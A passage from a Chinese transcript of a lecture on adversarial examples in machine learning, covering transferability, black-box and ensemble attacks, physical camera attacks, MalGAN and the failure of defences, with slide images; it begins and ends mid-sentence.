ไธๅคŸๆกไปถๆž„ๅปบ่‡ชๅทฑ็š„่ฎญ็ปƒ้›†๏ผŒไฝ†ไฝ ๅฏไปฅ้™ๅˆถ่ฎฟ้—ฎๆจกๅž‹๏ผŒๅฐฑๆ˜ฏ่ฏดไฝ ๅฏไปฅๅฏนๆจกๅž‹็ป™ๅฎš่พ“ๅ…ฅ่ง‚ๅฏŸ่พ“ๅ‡บ๏ผŒ้‚ฃไนˆไฝ ๅฏไปฅไผ ่ฟ›่พ“ๅ…ฅ๏ผŒ่ง‚ๆต‹่พ“ๅ‡บ๏ผŒๆŠŠ่ฟ™ไบ›ไฝœไธบไฝ ็š„่ฎญ็ปƒ้›†๏ผŒๅฐฑ็ฎ—ไฝ ๅพ—ๅˆฐ็š„็›ฎๆ ‡ๆจกๅž‹็ป™ๅ‡บ็š„่พ“ๅ‡บ๏ผŒไป…ไป…ๆ˜ฏๆจกๅž‹้€‰ไธญ็š„็ฑปๅˆซๆ ‡็ญพไนŸๆ˜ฏๆœ‰็”จ็š„ใ€‚ๅพˆๅคšไบบ็œ‹ไบ†่ฟ™ไธ€ๆฎตๅฐฑ่ง‰ๅพ—ไฝ ้œ€่ฆ่ฎฟ้—ฎ่พ“ๅ‡บ็š„ๆ‰€ๆœ‰ๆฆ‚็Ž‡ๅ€ผ๏ผŒ็”š่‡ณๅฝ“็ฑปๅˆซๆ ‡็ญพๆ ‡็š„ๆ˜ฏๅ……่ถณ็š„ใ€‚ๅฝ“ไฝ ็”จไบ†่ฟ™ไธคไธชๆ–นๆณ•ไน‹ไธ€๏ผŒๆˆ–่€…็ป„ๅปบไฝ ่‡ชๅทฑ็š„่ฎญ็ปƒ้›†๏ผŒๆˆ–่€…่ง‚ๆต‹็›ฎๆ ‡ๆจกๅž‹็š„่พ“ๅ‡บ๏ผŒไฝ ๅฐฑๅฏไปฅ่ฎญ็ปƒ่‡ชๅทฑ็š„ๆจกๅž‹ไบ†๏ผŒ็„ถๅŽๅฏน่‡ชๅทฑ็š„ๆจกๅž‹็”ŸๆˆๅฏนๆŠ—ๆ ทๆœฌใ€‚่ฟ™ไบ›ๆ ทๆœฌ้žๅธธๆœ‰ๅฏ่ƒฝๅฏไปฅ่ฟ็งปๅนถๅฝฑๅ“็›ฎๆ ‡ๆจกๅž‹๏ผŒๅฐฑ็ฎ—ไฝ ๆ— ๆณ•็›ดๆŽฅๆŽฅ่งฆๆจกๅž‹๏ผŒไฝ ๅฏไปฅๆ‹ฟๅˆฐ่ฟ™ไบ›ๆ ทๆœฌ๏ผŒๆŠŠๅฎƒไปฌไผ ๅ…ฅๆจกๅž‹๏ผŒๅฐฑๅฏไปฅๆฌบ้ช—ๆจกๅž‹ไบ†ใ€‚\n\n---\n\n![](https://i.loli.net/2018/09/22/5ba5cbac01311.png)\n\nๆˆ‘ไปฌๅฏนไธๅŒ็š„ๆ•ฐๆฎ้›†่กก้‡่ฟ็งปๆ€ง๏ผŒๆˆ‘ไปฌๅ‘็Žฐๅคง้ƒจๅˆ†ๆจกๅž‹ไผšๆœ‰ไธ€ๆฎตไธญ้—ดๅœฐๅธฆ๏ผŒไธๅŒ็š„ๆ•ฐๆฎไผšๆœ‰ไธๅŒ็š„่ฟ็งป็Ž‡๏ผŒ60%ๅˆฐ80%็š„ๆ ทๅญใ€‚ไธ€ไบ›ๆจกๅž‹๏ผŒๆฏ”ๅฆ‚่ฏดๆ”ฏๆŒๅ‘้‡ๆœบ๏ผˆSVMs๏ผ‰๏ผŒ้žๅธธไพ่ต–ไบŽๆ•ฐๆฎ็š„๏ผŒๅ› ไธบๆ”ฏๆŒๅ‘้‡ๆœบๆ˜ฏ้’ˆๅฏน่ฎญ็ปƒๆ ทๆœฌไธญ็š„้‚ฃไธ€ไธชๅฐ็š„ๅญ้›†ๆฅๆœ€็ปˆ็ป„ๆˆๅ†ณ็ญ–่พน็•Œใ€‚ไฝ†ๅคง้ƒจๅˆ†ๆˆ‘ไปฌๅ…ณๅฟƒ็š„ๆจกๅž‹้ƒฝๅœจ่ฟ™ไธ€ไธชไธญ้—ดๅœฐๅธฆ้‡Œใ€‚\n\n---\n\n![](https://i.loli.net/2018/09/22/5ba5cc87ca583.png)\n\n ๅฐฑๅ‡่ฎพไฝ ไฝฟ็”จ็š„็ป“ๆž„๏ผŒ่ฟ็งป็Žฐ่ฑกๆ˜ฏ่‡ช็„ถๅ‘็”Ÿ็š„ๅงใ€‚ไฝ ๆž„้€ ไบ†ไธ€ไธชๅฏนๆŠ—ๆ ทๆœฌ๏ผŒไฝ ๅธŒๆœ›ๅฎƒ่ƒฝ่ฟ็งปๅˆฐไฝ ็š„็›ฎๆ ‡ไธญ๏ผŒๅ‡ไฝฟไฝ ้ข„ๅ…ˆๅšไบ†ๆ‰‹่„š๏ผŒๆ”นๅ–„ไบ†ไฝ ็š„ๅฏนๆŠ—ๆ ทๆœฌ๏ผŒ่ฟ็งป็š„ๅ‡ ็Ž‡ๅฐ†ไผšๆ€Žๆ ทๅ‘ข๏ผŸ\n\nUC Berkeley ็š„ Dawn Song ็š„็ป„ๅฐฑ็ ”็ฉถไบ†่ฟ™ไธชใ€‚ไป–ไปฌๅ‘็Žฐๅฆ‚ๆžœๆŠŠๅ‡ ไธชไธๅŒ็š„ๆจกๅž‹้›†ๆˆ่ตทๆฅ๏ผŒๅ†็”จๆขฏๅบฆไธ‹้™ๆœ็ดขไธ€ไธชๅฏนๆŠ—ๆ ทๆœฌ๏ผŒๅฏไปฅๆฌบ้ช—้›†ๆˆไธญ็š„ๆฏไธชๆจกๅž‹๏ผŒ่ฟ™ๅฐฑๅพˆๅƒๅฎƒๅฏไปฅ่ฟ็งปๅนถๆฌบ้ช—ไธ€ไธชๆ–ฐ็š„ๆœบๅ™จๅญฆไน ๆจกๅž‹ใ€‚ๅฆ‚ๆžœไฝ ๆœ‰ไบ”ไธชๆจกๅž‹็š„้›†ๆˆ๏ผŒไฝ ๅฐฑ่ƒฝ่พพๅˆฐไธ€ไธช็กฎๅฎžๆœ‰100%ๅฏ่ƒฝ่ƒฝๆฌบ้ช—ๆ‰€ๆœ‰ๆฏ”่พƒ็š„้›†ๆˆๆจกๅž‹ไปฅๅค–็š„็ฌฌๅ…ญไธชๆจกๅž‹๏ผŒๅฎƒไปฌไฝฟ็”จ็š„ๆจกๅž‹ๅŒ…ๆ‹ฌๅ„็งๅฑ‚ๆ•ฐ็š„ ResNet๏ผŒVGG ๅ’Œ GoogLeNetใ€‚ๆฏไธชไธๅŒ่กŒ็š„ๆ ‡็ญพๅฏไปฅ็œ‹ๅˆฐๅฎƒไปฌ้™คๅผ€ๆŸไธชๆจกๅž‹ไปฅๅค–ๅ…ถไป–ๆจกๅž‹็š„้›†ๆˆ๏ผŒ็„ถๅŽไป–ไปฌไผšๅœจไธๅŒ็š„็›ฎๆ ‡ๆจกๅž‹ไธŠๆต‹่ฏ•ใ€‚ๅฆ‚ๆžœไฝ ๆƒณ่ฆๆž„้€ ไธ€ไธชๆฒกๆœ‰ GoogLeNet ็š„ๆจกๅž‹๏ผŒ้‚ฃไฝ ๅชๆœ‰ๅคงๆฆ‚5%็š„ๆœบไผšๅฏไปฅๅœจ GooglLeNet ไธŠๅฏน้›†ๆˆๆž„้€ ๅ‡บๆฅ็š„ๅฏนๆŠ—ๆ ทๆœฌๆญฃ็กฎๅˆ†็ฑปใ€‚ๅฆ‚ๆžœไฝ ๆƒณ่ฆๆž„้€ ไธ€ไธชๆฒกๆœ‰ ResNet-152 ็š„ๆจกๅž‹๏ผŒไป–ไปฌ็š„ๅฎž้ชŒ็ป“ๆžœๆ˜ฏ ResNet-152 ๆœ‰ 0% ็š„ๅฏ่ƒฝๆ€งๅฏไปฅๆŠตๆŒกๆ”ปๅ‡ปใ€‚่ฟ™ๆœ‰ๅฏ่ƒฝๅ› ไธบ่ฟ™ไป–ไปฌๅบ”่ฏฅๅคš่ท‘ไธ€ไบ›ๅฏนๆŠ—ๆ ทๆœฌ็š„ไพ‹ๅญ๏ผŒ็›ดๅˆฐ่ƒฝๅคŸๆ‰พๅˆฐไธ€ไธช้ž้›ถ็š„ๆˆๅŠŸ็Ž‡๏ผŒไฝ†่ฟ™่ฟ˜ๆ˜ฏๅฑ•็คบไบ†่ฟ™ไธชๆ”ปๅ‡ป้žๅธธๅผบๅคง๏ผŒๅฝ“ไฝ ๆ•…ๆ„ๅœฐๅŽปๅฏผ่‡ด่ฟ็งป็Žฐ่ฑก็š„ไบง็”Ÿ็š„่ฏ๏ผŒไฝ ็œŸ็š„ๅฏไปฅๆž„้€ ไธ€ไธช้žๅธธๅŽ‰ๅฎณ็š„่ฟ็งปใ€‚\n\n---\n\n![](https://i.loli.net/2018/09/22/5ba5cec02c449.png)\n\nๅพˆๅคšไบบ้—ฎๆˆ‘๏ผŒไบบ็ฑป็š„ๅคง่„‘ๅฏนๅฏนๆŠ—ๆ ทๆœฌๆ˜ฏไธๆ˜ฏ่–„ๅผฑ็š„ใ€‚่ฏพไธŠๆˆ‘ไธ่ƒฝไฝฟ็”จๅ—็‰ˆๆƒไฟๆŠค็š„ๆๆ–™๏ผŒๅฆ‚ๆžœไฝ ไธŠ็ฝ‘ๆ‰พ็š„่ฏ๏ผŒๆœ‰ไธ€ไบ›ๆป‘็จฝ็š„ไธœ่ฅฟ๏ผŒๆฏ”ๅฆ‚่ฏด่ฟ™ไธช Mark Hamill ๅ›พ็‰‡็š„ไผช้ชŒ่ฏ็ ๏ผŒไฝ ไผšๅ‘็Žฐๆˆ‘็š„ๆ„Ÿ็Ÿฅ็ณป็ปŸ็œŸ็š„ hold ไธไฝไบ†ใ€‚ๅฆๅค–ไธ€ไธชๅทฒ็ปๆ‰นๅ‡†ๅ‘่กจ็š„ๆˆ‘็กฎไฟกๆˆ‘ๅฏไปฅไฝฟ็”จๅฎƒไฝ ๅฏไปฅ็œ‹ๅˆฐ่ฟ™ไธชๆœ‰ๅพˆๅคšๅœ†ๅœˆ็š„ๅ›พ๏ผŒ็œ‹่ตทๆฅๆ˜ฏ็บ ็ผ ๅœจไธ€่ตท็š„่žบๆ—‹ๅฝข๏ผŒไฝ†ๅ…ถๅฎžไป–ไปฌๆ˜ฏๅŒๅฟƒๅœ†๏ผŒ่ฟ™ไบ›ๆ–นๅ—็š„่พน่พน็š„ๆ–นๅ‘๏ผŒๅนฒ้ข„ไบ†ไฝ ๅคง่„‘้‡Œ่พน็ผ˜ๆฃ€ๆต‹ๅ™จ่ฎฉๅคง่„‘่ง‰ๅพ—่ฟ™ไบ›ๅœ†ๅœˆๅœจ็›˜ๆ—‹ไธŠๅ‡ใ€‚ไฝ ๅฏไปฅๆŠŠ่ฟ™ไบ›ๅ…‰ๅญฆ็š„ๅนป่ง‰็œ‹ๆˆๆ˜ฏไบบ็ฑปๅคง่„‘็š„ๅฏนๆŠ—ๆ ทๆœฌ๏ผŒๆœ‰ๆ„ๆ€็š„ๆ˜ฏๆˆ‘ไปฌ็š„ๅฏนๆŠ—ๆ ทๆœฌๅฅฝๅƒๅฏนๅคง้ƒจๅˆ†ๆœบๅ™จๅญฆไน ๆจกๅž‹ๆ˜ฏๆฒก็”จ็š„ใ€‚ๅฏนๆŠ—ๆ ทๆœฌๅœจไธๅŒ็š„ๆœบๅ™จๅญฆไน ๆจกๅž‹ไธญ๏ผŒๅฏไปฅๆœ‰ๆ•ˆๅฏ้ ๅœฐไบ’็›ธ่ฟ็งป๏ผŒๅฐคๅ…ถๆ˜ฏไฝ ่ฟ˜ๆœ‰ไบ† UCB ๅ‘ๆ˜Ž็š„ไธ€ๅฅ—้›†ๆˆๆŠ€ๅทง๏ผŒไฝ†่ฟ™ไบ›ๅฏนๆŠ—ๆ ทๆœฌไธ่ƒฝๆฌบ้ช—ๆˆ‘ไปฌ๏ผŒ่ฟ™่ฏดๆ˜Ž๏ผŒๆˆ‘ไปฌๅฟ…้กปไฝฟ็”จไธ€ๅฅ—ๅฎŒๅ…จไธๅŒ็š„็ฎ—ๆณ•ๆˆ–ๆ˜ฏๆจกๅž‹็ฐ‡๏ผŒ่€Œไธๆ˜ฏ็Žฐๆˆ็š„ๅท็งฏ็ฝ‘็ปœ๏ผŒๆˆ‘ไปฌ็œŸ็š„ไธ็Ÿฅ้“ๅบ”่ฏฅ็”จไป€ไนˆ๏ผŒไฝ†่ฟ™็š„ๆ‰พๅˆฐ็”จไป€ไนˆๆจกๅž‹ๅบ”่ฏฅๆ˜ฏ็›ธๅฝ“ๆœ‰ๆ„ๆ€็š„ใ€‚็œ‹่ตทๆฅ็ ”็ฉถๅฏนๆŠ—ๆ ทๆœฌๅฏไปฅๆŒ‡ๅฏผๆˆ‘ไปฌๅฆ‚ไฝ•ๆ˜พ่‘—ๅœฐๆๅ‡ๆˆ‘ไปฌ็Žฐๆœ‰็š„ๆœบๅ™จๅญฆไน ๆจกๅž‹๏ผŒๅฐฑ็ฎ—ๆ˜ฏไฝ ไธๅ…ณๅฟƒๆœ‰ๆฒกๆœ‰้‚ฃไนˆไธ€ไธชๆ•Œไบบ๏ผŒๆˆ‘ไปฌ่ฟ˜ๆ˜ฏไผšๆƒณ่ฆๆžๆธ…ๆฅšๆ€Žๆ ทไฝฟๅพ—ๆœบๅ™จๅญฆไน ็ฎ—ๆณ•ๆ›ด่ƒฝๅšๅˆฐๅƒไบบ็ฑปไธ€ๆ ท๏ผŒๅบ”ไป˜ๆจก็ณŠ็š„ๅ’Œ้ข„ๆƒณไปฅๅค–็š„่พ“ๅ…ฅใ€‚\n\n---\n\n![](https://i.loli.net/2018/09/22/5ba5d0c4d0c9c.png)\n\nๅฆ‚ๆžœๆˆ‘ไปฌ็œŸ็š„ๆ˜ฏๆƒณ่ฆๅœจๅฎž้™…ๆ“ไฝœไธญๅšไธ€ไบ›ๆ”ปๅ‡ป๏ผŒ่ฟ™้‡Œๆ˜ฏไธ€ไธช่ฟ™ไธชไธป้ข˜็š„็ ”็ฉถ็š„ไธป่ฆๅ†…ๅฎนใ€‚Nicolas Papernot ๅฑ•็คบไบ†ไป–ๅฏไปฅๅˆฉ็”จ่ฟ็งป็Žฐ่ฑกๆฅๆฌบ้ช—็”ฑ MetaMind Amazon ๅ’Œ Google ๆ‰ฟ่ฝฝ็š„ๅˆ†็ฑปๅ™จใ€‚่ฟ™ไบ›ๆ˜ฏไธๅŒ็š„ๆœบๅ™จๅญฆไน  API๏ผŒไฝ ๅฏไปฅ็”จไบŽไธŠไผ ๆ•ฐๆฎ้›†๏ผŒ่ฟ™ไธช AIP ไผšๅธฎไฝ ่ฎญ็ปƒๆจกๅž‹ใ€‚ๅคง้ƒจๅˆ†ๆ—ถๅ€™ไฝ ไธ็Ÿฅ้“ๆ˜ฏ็”จๅ“ชไธชๆจกๅž‹ๆฅ่ฎญ็ปƒ็š„๏ผŒไฝ ๆฒกๆœ‰ๆœบไผš่Žทๅ–ๆƒ้‡ๆˆ–็ฑปไผผ็š„ไธœ่ฅฟใ€‚ๆ‰€ไปฅ Nicolas ๅฐฑๆƒณๅˆฉ็”จ API ๆฅ่ฎญ็ปƒ่‡ชๅทฑ็š„ๆจกๅž‹็š„ๅคๅˆถๅ“๏ผŒ็„ถๅŽๆญๅœจ่‡ชๅทฑ็š„ไธชไบบ็”ต่„‘ไธŠ๏ผŒ่ฟ™ๆ ทไป–ๅฐฑๅฏไปฅๆฌบ้ช— API ๆ‰ฟ่ฝฝๆจกๅž‹ไบ†ใ€‚ๅŽๆฅ๏ผŒBerkeley ๅฑ•็คบไบ†ไป–่ƒฝ่ฟ™ๆ ทๆฌบ้ช—ใ€‚\n\nๅ…ถๅฎžไฝ ่ฟ˜ๅฏไปฅๅš็š„ๆ˜ฏไฝ ็œŸ็š„ๆฌบ้ช—ๅˆฐๆถๆ„่ฝฏไปถๆฃ€ๆต‹ๅ™จ๏ผŒ่ฟ™ๆœ‰ๅพˆ้ซ˜็š„็Žฐๅฎžๆ„ไน‰ใ€‚Saarland ๅคงๅญฆ็š„ Catherine Gross ๅ†™ไบ†ไธ€็ฏ‡่ฟ™ไธช็š„่ฎบๆ–‡๏ผŒ่ฟ™ๅผ€ๅง‹่ฟ˜ๆœ‰ไธ€ไบ›ๅ…ถไป–็š„๏ผŒ่ฟ™ไธชๆจกๅž‹ๅซ MalGAN ๆ˜ฏ็”จไบ† GAN ๆฅ็”Ÿๆˆๆถๆ„่ฝฏไปถๆฃ€ๆต‹ๅ™จ็š„ๅฏนๆŠ—ๆ ทๆœฌใ€‚\n\n---\n\n![](https://i.loli.net/2018/09/22/5ba5d39818bfb.png)\n\nๅฆไธ€ไปถๅพˆ้‡่ฆ็š„ไบ‹ๆ˜ฏไฝ ๅฏ่ƒฝๅฏน็Žฐๅฎž็”Ÿๆดปไธญ็”จ่ฟ™ๆ ท็š„ๆ”ปๅ‡ปๅ’Œๅœจ็Žฐๅฎžไธญ้˜ฒๅพก่ฟ™ไบ›ๆ”ปๅ‡ปๆœ‰ๅพˆๅคง็š„ๅ…ด่ถฃ๏ผŒๅพˆๅคšๆ—ถๅ€™ไฝ ๆฒกๆœ‰ๆœบไผšๆŽฅ่งฆๅˆฐๆจกๅž‹็š„ๆ•ฐๅญ—่พ“ๅ…ฅใ€‚ๅฆ‚ๆžœไฝ ๅ…ณๅฟƒ่‡ชๅŠจ้ฉพ้ฉถๆˆ–ๆœบๅ™จไบบ็š„ๆ„Ÿ็Ÿฅ็ณป็ปŸ๏ผŒไฝ ๅฏ่ƒฝไธ็”จ่‡ชๅทฑๅ†™ๆœบๅ™จไบบ็š„็ผ“ๅ†ฒๅ™จ๏ผŒไฝ ๅช่ฆ่ฎฉๆœบๅ™จไบบ้€š่ฟ‡ไธ€ไธช็›ธๆœบ้•œๅคดๆฅ่ง‚ๅฏŸใ€‚ๆˆ‘็š„ๅŒไบ‹ Alexey Kurakin Samy Bengio ๅ’Œๆˆ‘ๅ†™ไบ†ไธ€็ฏ‡่ฎบๆ–‡๏ผŒๆˆ‘ไปฌ็ ”็ฉถไบ†่ƒฝๅฆๆฌบ้ช—ไธ€ไธชๆ‰‹ๆœบไธŠ่ฟ่กŒ็š„็›ฎๆ ‡ๆฃ€ๆต‹็ณป็ปŸ๏ผŒๅฎƒ้€š่ฟ‡็…ง็›ธๆœบๆฅๆ„Ÿ็Ÿฅไธ–็•Œใ€‚ๆˆ‘ไปฌ็š„ๆ–นๆณ•็›ธๅฝ“็›ดๆŽฅ๏ผŒๆˆ‘ไปฌๅฐฑๆ‰“ๅฐๅ‡บไบ†ๅ‡ ๅผ ๅฏนๆŠ—ๆ ทๆœฌ็š„็…ง็‰‡๏ผŒๆˆ‘ไปฌๅ‘็ŽฐๅŸบไบŽ็…ง็›ธๆœบ็š„็›ฎๆ ‡่ฏ†ๅˆซ็ณป็ปŸ็กฎๅฎž่ขซๆฌบ้ช—ไบ†ใ€‚่ฟ™ไธช็…ง็›ธๆœบ็š„็ณป็ปŸๅ’Œๆˆ‘ไปฌ็”จๆฅ็”ŸๆˆๅฏนๆŠ—ๆ ทๆœฌ็š„ๆจกๅž‹ๅ…ถๅฎžๆ˜ฏไธไธ€ๆ ท็š„ใ€‚ๆˆ‘ไปฌๅฑ•็คบ็š„ไธๅชๆ˜ฏๅœจไฝ ไฝฟ็”จ็…ง็›ธๆœบๆ—ถๆ”นๅ˜ๅ‘ๆˆไบ†่ฟ็งป็Žฐ่ฑก๏ผŒไฝ ็”จ็š„ๆจกๅž‹ไนŸๅ‘็”Ÿไบ†่ฟ็งป็Žฐ่ฑกใ€‚่ฟ™ๆ ทๆ”ปๅ‡ป่€…ๅฏไปฅๆœ‰ๆ•ˆๅœฐๆฌบ้ช—ๅˆฉ็”จ็‰ฉ็†ไปฃ็†็š„็ณป็ปŸ๏ผŒๅณไฝฟๆ”ปๅ‡ป่€…ๆฒกๆœ‰ๆƒ้™ๆŽฅ่งฆๅˆฐ่ฟ™ไธชๆจกๅž‹็š„ไปฃ็†๏ผŒๅณไฝฟไป–ไปฌๆฒกๆœ‰ๅ’Œไปฃ็†็›ดๆŽฅๆŽฅ่งฆ๏ผŒ่€Œๅชๆ˜ฏ่ฝปๅพฎๅœฐ่ฐƒๆ•ดไบ†ไธชไฝ“ๆŽฅๅ—็š„็Žฏๅขƒใ€‚\n\n- Q๏ผšไธบไป€ไนˆ่ฟ™ไธชไฝŽ่ดจ้‡็š„็›ธๆœบๅ™ช้Ÿณๆฒกๆœ‰ๅฝฑๅ“ๅˆฐๅฏนๆŠ—ๆ ทๆœฌใ€‚๏ผˆๆˆ‘่ง‰ๅพ—๏ผ‰่ฟ™ๆ˜ฏๆœ‰ๅฏ่ƒฝๅ‘็”Ÿ็š„ใ€‚\n\n - ๅฏน๏ผŒๆˆ‘ๆ˜ฏ่€ƒ่™‘่ฟ‡ๅพˆๅคš็š„ใ€‚ๅ›žๅˆฐๆˆ‘ไน‹ๅ‰ๅฑ•็คบ็š„ๆ˜ ๅฐ„๏ผš![](https://i.loli.net/2018/09/22/5ba5d505e7029.png)\n\n ๅฝ“ไฝ ไปŽ่พน็•Œ่ฟ›ๅ…ฅๅˆฐๅฏนๆŠ—ๆ ทๆœฌ็š„ๅŒบๅŸŸ๏ผŒๅฏนๆŠ—ๆ ทๆœฌๅ…ถๅฎžๆ˜ฏๅ ไบ†ไธ€ๅ—็›ธๅฝ“ๅคง็š„ๅŒบๅŸŸ๏ผŒๅœจ้‚ฃ้‡Œๆ˜ฏ็จ ๅฏ†ๅœฐๅˆ†ๅธƒๅœจไธ€่ตท็š„ใ€‚ๅฆ‚ๆžœไฝ ๅ†ๅพ€้‚ฃ่พนๆŒคๆŒค๏ผŒไฝ ๆ˜ฏไธไผšไปŽๅฏนๆŠ—ๆ”ปๅ‡ปไธญๆขๅค็š„ใ€‚ๅฆ‚ๆžœ็›ธๆœบๅ™ช้Ÿณๆ˜ฏๅ’ŒๆŸๅคฑๅ‡ฝๆ•ฐ็š„่ดŸๆขฏๅบฆ่”็ณปๅœจไธ€่ตท็š„๏ผŒ้‚ฃไนˆ็›ธๆœบๅฐฑไผšๅพ—ๅˆฐไธ€ๆญฅๆขฏๅบฆไธ‹้™๏ผŒๅฐฑไผšๆŠŠไฝ ไปŽๆ•Œไบบ็š„ไธ€ๆญฅๆขฏๅบฆไธŠๅ‡้‡Œ่งฃๆ•‘ๅ‡บๆฅใ€‚ไฝ†ๅพˆๆœ‰ๅฏ่ƒฝ๏ผŒ่ฟ™ไธช็›ธๆœบๆ‹็š„ไธœ่ฅฟ๏ผŒไฝ ๅช่ƒฝไปฅ้šๆœบๆ–นๅ‘ๆฅๆ‹Ÿๅˆ๏ผŒๅฐฑๆƒณไฝ ๅฆ‚ๆžœๅคšๆฌกไฝฟ็”จ็›ธๆœบ๏ผŒ้‚ฃ็›ธๆœบๅพ—ๅˆฐ็š„็ป“ๆžœๅบ”่ฏฅๆฏๆฌกๆ˜ฏไธ€ๆ ท็š„๏ผŒไฝ†็”ฑๅˆšๅˆš็š„้‚ฃไธชๅ›พ็‰‡ๅˆ†็ฑป้—ฎ้ข˜็š„ๆ–นๅ‘่ฟ™ไธช่ง‚็‚นๆฅ็œ‹๏ผŒ็›ธๆœบๅพ—ๅˆฐ็š„็ป“ๆžœๅชๆ˜ฏไฝ ไธ€ๆฌก้‡‡ๆ ท็š„้šๆœบๅ˜้‡๏ผŒๅ‡ ไนŽไธๅฏ่ƒฝๆ˜ฏๆฐๅฅฝๅ’Œๅˆ†็ฑป่พน็•Œๅž‚็›ด็š„่ฟ™ไนˆไธ€ไธช็ป“ๆžœใ€‚\n\n---\n\n![](https://i.loli.net/2018/09/22/5ba5d72ce1d11.png)\n\nๆˆ‘ไปฌๆƒณ่ฆๆž„้€ ๅพˆๅคš็ง้˜ฒๅพก๏ผŒไฝ†ๆœ‰ไธ€็‚นๅคฑๆœ›็š„ๆ˜ฏ๏ผŒๆˆ‘่ฟ™่พนไธป่ฆๆ˜ฏๆฅไป‹็ปๆ”ปๅ‡ป๏ผŒๆˆ‘ๆƒณ่ฆไป‹็ป็ป™ไฝ ๅฆ‚ไฝ•ไฝฟไฝ ็š„็ณป็ปŸๆ›ดๅŠ ้ฒๆฃ’ใ€‚ไฝ†ๅŸบๆœฌไธŠๅฏนๆฏไธ€็งๆˆ‘ไปฌๅฐ่ฏ•็š„ๆ”ปๅ‡ป้˜ฒๅพกๆœบๅˆถ้ƒฝๆ˜ฏๅฎŒ่ดฅใ€‚ไบ‹ๅฎžไธŠ๏ผŒๅฐฑ็ฎ—ๆ˜ฏๆœ‰ไบบๅ‘่กจไบ†ไป–ไปฌๅฏไปฅๆˆๅŠŸ้˜ฒๅพก๏ผŒ่ฟ˜ๆ˜ฏ่ฟ™ๆ ท็š„็ป“ๆžœใ€‚ๅฐฑๅœจๆœ€่ฟ‘็š„ๅ‡ ไธชๆœˆ้‡Œ๏ผŒๆœ‰ๅฅฝๅ‡ ็ฏ‡ๆ–‡็ซ ๅœจ arXiv ไธŠๆŒ‚ๅ‡บๆฅ๏ผŒBerkeley ็š„ Nicholas Carlini ๅˆšๅˆšๅ‘ๅธƒไบ†ไธ€็ฏ‡่ฎบๆ–‡๏ผŒไป–ๅฑ•็คบไบ†ๅ…ถไธญๅ็ง้˜ฒๅพกๅคฑๆ•ˆไบ†ใ€‚ๆ‰€ไปฅ่ฟ™ๅ…ถๅฎžๆ˜ฏไธ€ไธช้žๅธธ้žๅธธๅ›ฐ้šพ็š„้—ฎ้ข˜๏ผŒไฝ ไธๅฏ่ƒฝๅช็”จไผ ็ปŸ็š„ๆญฃๅˆ™ๅŒ–ๆŠ€ๅทงๆฅๆžๅฎš่ฟ™ไธช้—ฎ้ข˜ใ€‚\n\n---\n\n![](https://i.loli.net/2018/09/22/5ba5d73de8755.png)\n\n็‰นๅˆซๅœฐ๏ผŒ็”Ÿๆˆๆจกๅž‹ๆ˜ฏไธ่ถณไปฅ่งฃๅ†ณ่ฟ™ไธช้—ฎ้ข˜็š„ใ€‚ๅพˆๅคšไบบไผš่ฏด๏ผŒ่ฟ™ไธช้—ฎ้ข˜ๆ˜ฏๆบไบŽไฝ ๅฏน่พ“ๅ…ฅๅƒ็ด ็š„ๅˆ†ๅธƒไธ€ๆ— ๆ‰€็Ÿฅใ€‚ๅฆ‚ๆžœไฝ ่ƒฝๅคŸๆžๆธ…ๆฅš่พ“ๅ…ฅๆ—ถๆ˜ฏไธๆ˜ฏ็œŸๅฎž็š„๏ผŒ้‚ฃไฝ ๅฐฑ่ƒฝๅคŸๆžๅฎš่ฟ™ไธช้—ฎ้ข˜ไบ†ใ€‚ไบ‹ๅฎžไธŠ๏ผŒๆฏ”ๆžๆธ…ๆฅš่พ“ๅ…ฅ x ็š„็œŸๅฎžๅˆ†ๅธƒ๏ผŒๆ›ด้‡่ฆ็š„ๆ˜ฏ๏ผŒ่ฆๆžๆธ…ๆฅšๆ ‡็ญพ y ็ป™ๅฎš่พ“ๅ…ฅ x ็š„ๆญฃ็กฎ็š„ๅŽ้ชŒๅˆ†ๅธƒใ€‚ๆ‰€ไปฅๅช็”จไธ€ไธช็”Ÿๆˆๆจกๅž‹ๆ˜ฏไธ่ถณไปฅ่งฃๅ†ณ้—ฎ้ข˜็š„๏ผŒๆˆ‘่ง‰ๅพ—ไธ€ไธช่ฎค็œŸ่ฎพ่ฎก็š„็”Ÿๆˆๆจกๅž‹ๆ‰ๆœ‰ๅฏ่ƒฝๅฏไปฅๆžๅฎšใ€‚\n\n่ฟ™้‡Œๆˆ‘ๅฑ•็คบไธคไธชไธๅŒ็š„ๅŒๅณฐๅˆ†ๅธƒ๏ผŒๆˆ‘ไปฌๆœ‰ไธคไธช็”Ÿๆˆๆจกๅž‹้ƒฝ่ฏ•ๅ›พๅญฆไผš่ฟ™ไธชๅŒๅณฐๆจกๅผใ€‚ๅทฆ่พน๏ผŒๆˆ‘็”จไบ†ไธคไธช้ซ˜ๆ–ฏๅˆ†ๅธƒ็š„ๆททๅˆ๏ผŒๅณ่พน๏ผŒๆˆ‘็”จไบ†ไธคไธชๆ‹‰ๆ™ฎๆ‹‰ๆ–ฏๅˆ†ๅธƒ็š„ๆททๅˆใ€‚ไฝ ๅ…‰้ ็œ‹ๆ˜ฏไธ่ƒฝๅˆคๆ–ญไป–ไปฌๅœจ่พ“ๅ…ฅ x ไธŠ็ป™ๅ‡บ็š„ๅˆ†ๅธƒ็š„ๅŒบๅˆซ๏ผŒไป–ไปฌๅœจ่ฎญ็ปƒ้›†ไธŠ็š„ไผผ็„ถๅŒบๅˆซๆ˜ฏๅฏไปฅๅฟฝ็•ฅ็š„ใ€‚ไฝ†ๅฏน็ฑปๅˆซ็š„ๅŽ้ชŒๅˆ†ๅธƒๆ˜ฏๆžๅ…ถไธๅŒ็š„๏ผŒๅทฆ่พนๆˆ‘ไปฌๆœ‰ไธ€ไธช้€ป่พ‘ๅ›žๅฝ’ๅˆ†็ฑปๅ™จๅœจๅˆ†ๅธƒ็š„ๅฐพ้ƒจไบง็”Ÿไบ†ๅพˆ้ซ˜็š„็ฝฎไฟกๅบฆ๏ผŒไฝ†้‚ฃ้‡Œ้ƒฝๆฒกๆœ‰ไธ€ไธช่ฎญ็ปƒๆ•ฐๆฎ๏ผŒๅณ่พน๏ผŒ็”ฑๆ‹‰ๆ™ฎๆ‹‰ๆ–ฏๅˆ†ๅธƒ๏ผŒๆˆ‘ไปฌๅทฎไธๅคšๆœ‰ๅฏนๅŠๅผ€็š„ๆฆ‚็Ž‡ใ€‚\n\n- Q๏ผš้—ฎ้ข˜ๅœจไบŽ่ฟ™ๆ˜ฏไธ€ไธช้žๅนณ็จณๅˆ†ๅธƒ๏ผŒๅฆ‚ๆžœไฝ 